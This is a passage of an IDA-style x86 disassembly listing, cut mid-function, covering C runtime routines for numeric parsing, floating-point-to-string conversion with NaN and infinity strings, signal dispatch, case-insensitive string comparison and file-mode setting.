					; sub_41DC67+250j
		push	9


loc_41DEFF:				; CODE XREF: sub_41DC67+79j
					; sub_41DC67+1FAj
		pop	eax
		dec	edi
		jmp	loc_41DCC1
; ---------------------------------------------------------------------------


loc_41DF06:				; CODE XREF: sub_41DC67+28Fj
					; sub_41DC67+294j
		cmp	bl, 30h
		jz	short loc_41DE97


loc_41DF0B:				; CODE XREF: sub_41DC67+13Ej
					; sub_41DC67+1F2j
		mov	edi, [ebp+arg_8]
		jmp	short loc_41DEBA
; ---------------------------------------------------------------------------


loc_41DF10:				; CODE XREF: sub_41DC67+66j
					; DATA XREF: .text:off_41E071o
		cmp	[ebp+arg_18], 0	; jumptable 0041DCCD case 11
		jz	short loc_41DF3C
		movsx	eax, bl
		sub	eax, 2Bh
		lea	ecx, [edi-1]
		mov	[ebp+arg_8], ecx
		jz	short loc_41DF34
		dec	eax
		dec	eax
		jnz	short loc_41DF4E


loc_41DF28:				; CODE XREF: sub_41DC67+221j
		or	[ebp+var_1C], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41DCC1
; ---------------------------------------------------------------------------


loc_41DF34:				; CODE XREF: sub_41DC67+219j
					; sub_41DC67+2BBj
		push	7


loc_41DF36:				; CODE XREF: sub_41DC67+88j
					; sub_41DC67+DAj ...
		pop	eax
		jmp	loc_41DCC1
; ---------------------------------------------------------------------------


loc_41DF3C:				; CODE XREF: sub_41DC67+2ADj
		push	0Ah
		pop	eax
		dec	edi


loc_41DF40:				; CODE XREF: sub_41DC67+60j
					; sub_41DC67+66j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041DCCD case 10
		jnz	loc_41DCC1
		jmp	loc_41DEBA
; ---------------------------------------------------------------------------


loc_41DF4E:				; CODE XREF: sub_41DC67+22Aj
					; sub_41DC67+2BFj
		mov	[ebp+var_8], esi
		mov	edi, ecx
		jmp	loc_41DEBD
; ---------------------------------------------------------------------------


loc_41DF58:				; CODE XREF: sub_41DC67+66j
					; DATA XREF: .text:off_41E071o
		mov	[ebp+var_8], esi ; jumptable 0041DCCD case 9
		mov	[ebp+var_24], 1
		xor	esi, esi
		jmp	short loc_41DF7B
; ---------------------------------------------------------------------------


loc_41DF66:				; CODE XREF: sub_41DC67+320j
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41DF8B
		mov	bl, [edi]
		inc	edi


loc_41DF7B:				; CODE XREF: sub_41DC67+2FDj
		movzx	eax, bl
		push	eax
		call	sub_41ABBC
		test	eax, eax
		pop	ecx
		jnz	short loc_41DF66
		jmp	short loc_41DF90
; ---------------------------------------------------------------------------


loc_41DF8B:				; CODE XREF: sub_41DC67+30Fj
		mov	esi, 1451h


loc_41DF90:				; CODE XREF: sub_41DC67+322j
		mov	[ebp+var_20], esi
		movzx	eax, bl
		jmp	short loc_41DF9E
; ---------------------------------------------------------------------------


loc_41DF98:				; CODE XREF: sub_41DC67+340j
		mov	al, [edi]
		inc	edi
		movzx	eax, al


loc_41DF9E:				; CODE XREF: sub_41DC67+32Fj
		push	eax
		call	sub_41ABBC
		test	eax, eax
		pop	ecx
		jnz	short loc_41DF98
		mov	esi, [ebp+var_8]
		dec	edi
		jmp	loc_41DEBD
; ---------------------------------------------------------------------------


loc_41DFB2:				; CODE XREF: sub_41DC67+355j
		dec	[ebp+var_C]
		inc	[ebp+var_10]


loc_41DFB8:				; CODE XREF: sub_41DC67+287j
		dec	esi
		cmp	byte ptr [esi],	0
		jz	short loc_41DFB2
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_C]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41DB83
		mov	eax, [ebp+var_20]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_1C], ecx
		jge	short loc_41DFDD
		neg	eax


loc_41DFDD:				; CODE XREF: sub_41DC67+372j
		add	eax, [ebp+var_10]
		cmp	[ebp+var_24], ecx
		jnz	short loc_41DFE8
		add	eax, [ebp+arg_10]


loc_41DFE8:				; CODE XREF: sub_41DC67+37Cj
		cmp	[ebp+var_28], ecx
		jnz	short loc_41DFF0
		sub	eax, [ebp+arg_14]


loc_41DFF0:				; CODE XREF: sub_41DC67+384j
		cmp	eax, 1450h
		jg	short loc_41E025
		cmp	eax, 0FFFFEBB0h
		jl	short loc_41E03C
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41E7DB
		mov	edx, [ebp+var_3C]
		mov	ebx, [ebp+var_3C+2]
		mov	esi, [ebp+var_36]
		mov	eax, [ebp+var_32]
		add	esp, 0Ch
		jmp	short loc_41E04B
; ---------------------------------------------------------------------------


loc_41E01C:				; CODE XREF: sub_41DC67+25Fj
		mov	[ebp+var_18], 4
		jmp	short loc_41E043
; ---------------------------------------------------------------------------


loc_41E025:				; CODE XREF: sub_41DC67+38Ej
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_18], 2
		jmp	short loc_41E04B
; ---------------------------------------------------------------------------


loc_41E03C:				; CODE XREF: sub_41DC67+395j
		mov	[ebp+var_18], 1


loc_41E043:				; CODE XREF: sub_41DC67+281j
					; sub_41DC67+3BCj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx


loc_41E04B:				; CODE XREF: sub_41DC67+3B3j
					; sub_41DC67+3D3j
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_2C]
		mov	[ecx+2], ebx
		mov	[ecx+6], esi
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_18]
		mov	[ecx], dx
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_41DC67	endp

; ---------------------------------------------------------------------------
off_41E071	dd offset loc_41DCD4	; DATA XREF: sub_41DC67+66r
		dd offset loc_41DD27	; jump table for switch	statement
		dd offset loc_41DD88
		dd offset loc_41DDB3
		dd offset loc_41DDEE
		dd offset loc_41DE46
		dd offset loc_41DE66
		dd offset loc_41DEF3
		dd offset loc_41DE9E
		dd offset loc_41DF58
		dd offset loc_41DF40
		dd offset loc_41DF10

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0A1	proc near		; CODE XREF: sub_41C7C4+36p

var_30		= byte ptr -30h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= word ptr -18h
var_16		= dword	ptr -16h
var_12		= dword	ptr -12h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_14]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_24], 0CCh
		mov	[ebp+var_23], 0CCh
		mov	[ebp+var_22], 0CCh
		mov	[ebp+var_21], 0CCh
		mov	[ebp+var_20], 0CCh
		mov	[ebp+var_1F], 0CCh
		mov	[ebp+var_1E], 0CCh
		mov	[ebp+var_1D], 0CCh
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0FBh
		mov	[ebp+var_19], 3Fh
		mov	[ebp+var_8], 1
		mov	edx, eax
		jz	short loc_41E10E
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41E112
; ---------------------------------------------------------------------------


loc_41E10E:				; CODE XREF: sub_41E0A1+65j
		mov	byte ptr [ebx+2], 20h


loc_41E112:				; CODE XREF: sub_41E0A1+6Bj
		test	dx, dx
		mov	edi, [ebp+arg_4]
		jnz	short loc_41E127
		test	edi, edi
		jnz	short loc_41E127
		cmp	[ebp+arg_0], edi
		jz	loc_41E21A


loc_41E127:				; CODE XREF: sub_41E0A1+77j
					; sub_41E0A1+7Bj
		cmp	dx, si
		jnz	short loc_41E1A4
		mov	eax, 80000000h
		cmp	edi, eax
		mov	word ptr [ebx],	1
		jnz	short loc_41E140
		cmp	[ebp+arg_0], 0
		jz	short loc_41E14F


loc_41E140:				; CODE XREF: sub_41E0A1+97j
		test	edi, 40000000h
		jnz	short loc_41E14F
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41E195
; ---------------------------------------------------------------------------


loc_41E14F:				; CODE XREF: sub_41E0A1+9Dj
					; sub_41E0A1+A5j
		test	cx, cx
		jz	short loc_41E169
		cmp	edi, 0C0000000h
		jnz	short loc_41E169
		cmp	[ebp+arg_0], 0
		jnz	short loc_41E190
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41E178
; ---------------------------------------------------------------------------


loc_41E169:				; CODE XREF: sub_41E0A1+B1j
					; sub_41E0A1+B9j
		cmp	edi, eax
		jnz	short loc_41E190
		cmp	[ebp+arg_0], 0
		jnz	short loc_41E190
		push	offset a1Inf	; "1#INF"


loc_41E178:				; CODE XREF: sub_41E0A1+C6j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41B390
		mov	byte ptr [ebx+3], 5


loc_41E185:				; CODE XREF: sub_41E0A1+101j
		and	[ebp+var_8], 0
		pop	ecx
		pop	ecx
		jmp	loc_41E2FC
; ---------------------------------------------------------------------------


loc_41E190:				; CODE XREF: sub_41E0A1+BFj
					; sub_41E0A1+CAj ...
		push	offset a1Qnan	; "1#QNAN"


loc_41E195:				; CODE XREF: sub_41E0A1+ACj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41B390
		mov	byte ptr [ebx+3], 6
		jmp	short loc_41E185
; ---------------------------------------------------------------------------


loc_41E1A4:				; CODE XREF: sub_41E0A1+89j
		movzx	eax, dx
		mov	esi, eax
		imul	eax, 4D10h
		and	[ebp+var_18], 0
		mov	ecx, edi
		shr	ecx, 18h
		shr	esi, 8
		lea	ecx, [esi+ecx*2]
		imul	ecx, 4Dh
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_16], eax
		sar	esi, 10h
		movsx	eax, si
		neg	eax
		push	1
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		mov	[ebp+var_E], dx
		mov	[ebp+var_12], edi
		call	sub_41E7DB
		add	esp, 0Ch
		cmp	[ebp+var_E], 3FFFh
		jb	short loc_41E205
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		inc	esi
		call	sub_41E5A3
		pop	ecx
		pop	ecx


loc_41E205:				; CODE XREF: sub_41E0A1+152j
		test	[ebp+arg_10], 1
		mov	edi, [ebp+arg_C]
		mov	[ebx], si
		jz	short loc_41E223
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41E223


loc_41E21A:				; CODE XREF: sub_41E0A1+80j
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41E320
; ---------------------------------------------------------------------------


loc_41E223:				; CODE XREF: sub_41E0A1+16Ej
					; sub_41E0A1+177j
		cmp	edi, 15h
		jle	short loc_41E22B
		push	15h
		pop	edi


loc_41E22B:				; CODE XREF: sub_41E0A1+185j
		movzx	esi, [ebp+var_E]
		sub	esi, 3FFEh
		and	[ebp+var_E], 0
		mov	[ebp+arg_8], 8


loc_41E241:				; CODE XREF: sub_41E0A1+1ADj
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41DB28
		dec	[ebp+arg_8]
		pop	ecx
		jnz	short loc_41E241
		test	esi, esi
		jge	short loc_41E26B
		neg	esi
		and	esi, 0FFh
		jle	short loc_41E26B


loc_41E25E:				; CODE XREF: sub_41E0A1+1C8j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41DB56
		dec	esi
		pop	ecx
		jnz	short loc_41E25E


loc_41E26B:				; CODE XREF: sub_41E0A1+1B1j
					; sub_41E0A1+1BBj
		lea	ecx, [edi+1]
		test	ecx, ecx
		lea	eax, [ebx+4]
		mov	[ebp+arg_8], eax
		jle	short loc_41E2C8
		mov	[ebp+var_C], ecx


loc_41E27B:				; CODE XREF: sub_41E0A1+222j
		lea	esi, [ebp+var_18]
		lea	edi, [ebp+var_30]
		movsd
		movsd
		lea	eax, [ebp+var_18]
		push	eax
		movsd
		call	sub_41DB28
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41DB28
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41DACA
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41DB28
		mov	al, byte ptr [ebp+var_E+1]
		mov	ecx, [ebp+arg_8]
		and	byte ptr [ebp+var_E+1],	0
		add	al, 30h
		add	esp, 14h
		inc	[ebp+arg_8]
		dec	[ebp+var_C]
		mov	[ecx], al
		jnz	short loc_41E27B
		mov	eax, [ebp+arg_8]


loc_41E2C8:				; CODE XREF: sub_41E0A1+1D5j
		dec	eax
		mov	cl, [eax]
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41E315
		jmp	short loc_41E2DF
; ---------------------------------------------------------------------------


loc_41E2D6:				; CODE XREF: sub_41E0A1+240j
		cmp	byte ptr [eax],	39h
		jnz	short loc_41E2E3
		mov	byte ptr [eax],	30h
		dec	eax


loc_41E2DF:				; CODE XREF: sub_41E0A1+233j
		cmp	eax, ecx
		jnb	short loc_41E2D6


loc_41E2E3:				; CODE XREF: sub_41E0A1+238j
		cmp	eax, ecx
		jnb	short loc_41E2EB
		inc	eax
		inc	word ptr [ebx]


loc_41E2EB:				; CODE XREF: sub_41E0A1+244j
		inc	byte ptr [eax]


loc_41E2ED:				; CODE XREF: sub_41E0A1+27Aj
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41E2FC:				; CODE XREF: sub_41E0A1+EAj
		mov	eax, [ebp+var_8]


loc_41E2FF:				; CODE XREF: sub_41E0A1+292j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_4182D6
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E30F:				; CODE XREF: sub_41E0A1+276j
		cmp	byte ptr [eax],	30h
		jnz	short loc_41E319
		dec	eax


loc_41E315:				; CODE XREF: sub_41E0A1+231j
		cmp	eax, ecx
		jnb	short loc_41E30F


loc_41E319:				; CODE XREF: sub_41E0A1+271j
		cmp	eax, ecx
		jnb	short loc_41E2ED
		mov	byte ptr [ecx],	30h


loc_41E320:				; CODE XREF: sub_41E0A1+17Dj
		and	word ptr [ebx],	0
		and	byte ptr [ebx+5], 0
		xor	eax, eax
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		inc	eax
		jmp	short loc_41E2FF
sub_41E0A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E335	proc near		; CODE XREF: sub_41E363+72p
		mov	ecx, dword_42D064
		mov	eax, edx
		push	edi


loc_41E33E:				; CODE XREF: sub_41E335+19j
		cmp	[eax+4], esi
		jz	short loc_41E350
		lea	edi, [ecx+ecx*2]
		add	eax, 0Ch
		lea	edi, [edx+edi*4]
		cmp	eax, edi
		jb	short loc_41E33E


loc_41E350:				; CODE XREF: sub_41E335+Cj
		lea	ecx, [ecx+ecx*2]
		lea	ecx, [edx+ecx*4]
		cmp	eax, ecx
		pop	edi
		jnb	short loc_41E360
		cmp	[eax+4], esi
		jz	short locret_41E362


loc_41E360:				; CODE XREF: sub_41E335+24j
		xor	eax, eax

locret_41E362:				; CODE XREF: sub_41E335+29j
		retn
sub_41E335	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E363	proc near		; CODE XREF: sub_418F0B+3F13p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041E4AB SIZE 00000031 BYTES

		push	20h
		push	offset stru_4288C0
		call	__SEH_prolog
		xor	ecx, ecx
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+arg_0]
		dec	eax
		dec	eax
		jz	short loc_41E3E5
		dec	eax
		dec	eax
		jz	short loc_41E3C5
		sub	eax, 4
		jz	short loc_41E3C5
		sub	eax, 3
		jz	short loc_41E3C5
		sub	eax, 4
		jz	short loc_41E3B8
		sub	eax, 6
		jz	short loc_41E3AB
		dec	eax
		jz	short loc_41E39E
		or	eax, 0FFFFFFFFh
		jmp	loc_41E4D6
; ---------------------------------------------------------------------------


loc_41E39E:				; CODE XREF: sub_41E363+31j
		mov	esi, offset dword_47A2A4
		mov	edi, dword_47A2A4
		jmp	short loc_41E3F0
; ---------------------------------------------------------------------------


loc_41E3AB:				; CODE XREF: sub_41E363+2Ej
		mov	esi, offset dword_47A2A0
		mov	edi, dword_47A2A0
		jmp	short loc_41E3F0
; ---------------------------------------------------------------------------


loc_41E3B8:				; CODE XREF: sub_41E363+29j
		mov	esi, offset dword_47A2A8
		mov	edi, dword_47A2A8
		jmp	short loc_41E3F0
; ---------------------------------------------------------------------------


loc_41E3C5:				; CODE XREF: sub_41E363+1Aj
					; sub_41E363+1Fj ...
		call	sub_415456
		mov	ebx, eax
		mov	[ebp+var_24], ebx
		mov	edx, [ebx+54h]
		mov	esi, [ebp+arg_0]
		call	sub_41E335
		mov	esi, eax
		add	esi, 8
		mov	edi, [esi]
		xor	ecx, ecx
		jmp	short loc_41E3FA
; ---------------------------------------------------------------------------


loc_41E3E5:				; CODE XREF: sub_41E363+16j
		mov	esi, offset dword_47A29C
		mov	edi, dword_47A29C


loc_41E3F0:				; CODE XREF: sub_41E363+46j
					; sub_41E363+53j ...
		mov	[ebp+var_1C], 1
		mov	ebx, [ebp+var_24]


loc_41E3FA:				; CODE XREF: sub_41E363+80j
		mov	[ebp+var_20], edi
		cmp	edi, 1
		jz	loc_41E4D4
		cmp	edi, ecx
		jnz	short loc_41E411
		push	3
		call	sub_414544


loc_41E411:				; CODE XREF: sub_41E363+A5j
		cmp	[ebp+var_1C], ecx
		jz	short loc_41E41F
		push	ecx
		call	sub_416901
		pop	ecx
		xor	ecx, ecx


loc_41E41F:				; CODE XREF: sub_41E363+B1j
		mov	[ebp+ms_exc.disabled], ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, 8
		jz	short loc_41E434
		cmp	eax, 0Bh
		jz	short loc_41E434
		cmp	eax, 4
		jnz	short loc_41E44F


loc_41E434:				; CODE XREF: sub_41E363+C5j
					; sub_41E363+CAj
		mov	edx, [ebx+58h]
		mov	[ebp+var_28], edx
		mov	[ebx+58h], ecx
		cmp	eax, 8
		jnz	short loc_41E47B
		mov	edx, [ebx+5Ch]
		mov	[ebp+var_2C], edx
		mov	dword ptr [ebx+5Ch], 8Ch


loc_41E44F:				; CODE XREF: sub_41E363+CFj
		cmp	eax, 8
		jnz	short loc_41E47B
		mov	eax, dword_42D058


loc_41E459:				; CODE XREF: sub_41E363+116j
		mov	[ebp+var_30], eax
		mov	edx, dword_42D05C
		mov	esi, dword_42D058
		add	edx, esi
		cmp	eax, edx
		jge	short loc_41E47D
		lea	edx, [eax+eax*2]
		mov	esi, [ebx+54h]
		mov	[esi+edx*4+8], ecx
		inc	eax
		jmp	short loc_41E459
; ---------------------------------------------------------------------------


loc_41E47B:				; CODE XREF: sub_41E363+DDj
					; sub_41E363+EFj
		mov	[esi], ecx


loc_41E47D:				; CODE XREF: sub_41E363+109j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41E49E
		cmp	[ebp+arg_0], 8
		jnz	short loc_41E4AB
		push	dword ptr [ebx+5Ch]
		push	8
		call	edi
		pop	ecx
		jmp	short loc_41E4B0
sub_41E363	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E496	proc near		; DATA XREF: .rdata:stru_4288C0o
		mov	edi, [ebp-20h]
		mov	ebx, [ebp-24h]
		xor	ecx, ecx
sub_41E496	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E49E	proc near		; CODE XREF: sub_41E363+11Ep
		cmp	[ebp-1Ch], ecx
		jz	short locret_41E4AA
		push	ecx
		call	sub_41686D
		pop	ecx

locret_41E4AA:				; CODE XREF: sub_41E49E+3j
		retn
sub_41E49E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E363


loc_41E4AB:				; CODE XREF: sub_41E363+127j
		push	[ebp+arg_0]
		call	edi


loc_41E4B0:				; CODE XREF: sub_41E363+131j
		pop	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, 8
		jz	short loc_41E4C3
		cmp	eax, 0Bh
		jz	short loc_41E4C3
		cmp	eax, 4
		jnz	short loc_41E4D4


loc_41E4C3:				; CODE XREF: sub_41E363+154j
					; sub_41E363+159j
		mov	ecx, [ebp+var_28]
		mov	[ebx+58h], ecx
		cmp	eax, 8
		jnz	short loc_41E4D4
		mov	eax, [ebp+var_2C]
		mov	[ebx+5Ch], eax


loc_41E4D4:				; CODE XREF: sub_41E363+9Dj
					; sub_41E363+15Ej ...
		xor	eax, eax


loc_41E4D6:				; CODE XREF: sub_41E363+36j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41E363
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+10h]
		or	ecx, ecx
		jz	short loc_41E53A
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_41E4FC:				; CODE XREF: .text:0041E529j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_41E52B
		or	al, al
		jz	short loc_41E52B
		add	esi, 1
		add	edi, 1
		cmp	ah, bh
		jb	short loc_41E518
		cmp	ah, bl
		ja	short loc_41E518
		add	ah, dh


loc_41E518:				; CODE XREF: .text:0041E510j
					; .text:0041E514j
		cmp	al, bh
		jb	short loc_41E522
		cmp	al, bl
		ja	short loc_41E522
		add	al, dh


loc_41E522:				; CODE XREF: .text:0041E51Aj
					; .text:0041E51Ej
		cmp	ah, al
		jnz	short loc_41E531
		sub	ecx, 1
		jnz	short loc_41E4FC


loc_41E52B:				; CODE XREF: .text:0041E502j
					; .text:0041E506j
		xor	ecx, ecx
		cmp	ah, al
		jz	short loc_41E53A


loc_41E531:				; CODE XREF: .text:0041E524j
		mov	ecx, 0FFFFFFFFh
		jb	short loc_41E53A
		neg	ecx


loc_41E53A:				; CODE XREF: .text:0041E4EBj
					; .text:0041E52Fj ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E541	proc near		; CODE XREF: sub_41D96E+73p
					; sub_41D96E+C4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_47A2E0[ecx*4]
		lea	eax, [eax+eax*8]
		lea	edx, [ecx+eax*4+4]
		mov	cl, [edx]
		xor	eax, eax
		mov	al, cl
		push	esi
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41E577
		and	cl, 7Fh
		jmp	short loc_41E584
; ---------------------------------------------------------------------------


loc_41E577:				; CODE XREF: sub_41E541+2Fj
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41E593
		or	cl, 80h


loc_41E584:				; CODE XREF: sub_41E541+34j
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFC000h
		add	eax, esi
		mov	[edx], cl
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E593:				; CODE XREF: sub_41E541+3Ej
		call	sub_417C70
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41E541	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5A3	proc near		; CODE XREF: sub_41E0A1+15Dp
					; sub_41E7DB+6Ep

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		xor	ecx, ecx
		mov	cx, [ebx+0Ah]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	ax, [esi+0Ah]
		push	edi
		mov	edi, ecx
		mov	edx, 7FFFh
		and	ecx, edx
		xor	edi, eax
		and	eax, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41E7B0
		cmp	cx, 7FFFh
		jnb	loc_41E7B0
		cmp	dx, 0BFFDh
		ja	loc_41E7B0
		cmp	dx, 3FBFh
		ja	short loc_41E619
		xor	eax, eax
		jmp	short loc_41E653
; ---------------------------------------------------------------------------


loc_41E619:				; CODE XREF: sub_41E5A3+70j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41E63B
		inc	[ebp+arg_0]
		xor	eax, eax
		test	[esi+8], edx
		jnz	short loc_41E63D
		cmp	[esi+4], eax
		jnz	short loc_41E63D
		cmp	[esi], eax
		jnz	short loc_41E63D
		jmp	loc_41E7AA
; ---------------------------------------------------------------------------


loc_41E63B:				; CODE XREF: sub_41E5A3+7Ej
		xor	eax, eax


loc_41E63D:				; CODE XREF: sub_41E5A3+88j
					; sub_41E5A3+8Dj ...
		cmp	cx, ax
		jnz	short loc_41E660
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41E660
		cmp	[ebx+4], eax
		jnz	short loc_41E660
		cmp	[ebx], eax
		jnz	short loc_41E660


loc_41E653:				; CODE XREF: sub_41E5A3+74j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41E7CB
; ---------------------------------------------------------------------------


loc_41E660:				; CODE XREF: sub_41E5A3+9Dj
					; sub_41E5A3+A5j ...
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		mov	[ebp+var_8], eax
		mov	[ebp+arg_4], 5


loc_41E670:				; CODE XREF: sub_41E5A3+12Fj
		mov	eax, [ebp+var_14]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41E6C4
		add	eax, esi
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [ebx+8]
		mov	[ebp+var_10], ecx
		mov	[ebp+var_1C], eax


loc_41E68C:				; CODE XREF: sub_41E5A3+11Fj
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		movzx	ecx, word ptr [ecx]
		movzx	eax, word ptr [eax]
		imul	eax, ecx
		mov	ecx, [ebp+var_8]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41DAA9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E6B7
		mov	eax, [ebp+var_8]
		inc	word ptr [eax]


loc_41E6B7:				; CODE XREF: sub_41E5A3+10Cj
		add	[ebp+var_C], 2
		sub	[ebp+var_10], 2
		dec	[ebp+var_1C]
		jnz	short loc_41E68C


loc_41E6C4:				; CODE XREF: sub_41E5A3+D6j
		add	[ebp+var_8], 2
		inc	[ebp+var_14]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41E670
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41E707


loc_41E6E2:				; CODE XREF: sub_41E5A3+15Bj
		test	byte ptr [ebp+var_20+3], 80h
		jnz	short loc_41E700
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41DB28
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		pop	ecx
		jg	short loc_41E6E2


loc_41E700:				; CODE XREF: sub_41E5A3+143j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41E740


loc_41E707:				; CODE XREF: sub_41E5A3+13Dj
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41E740
		mov	eax, [ebp+arg_0]
		neg	eax
		movzx	ebx, ax
		add	[ebp+arg_0], ebx


loc_41E720:				; CODE XREF: sub_41E5A3+191j
		test	byte ptr [ebp+var_28], 1
		jz	short loc_41E729
		inc	[ebp+var_18]


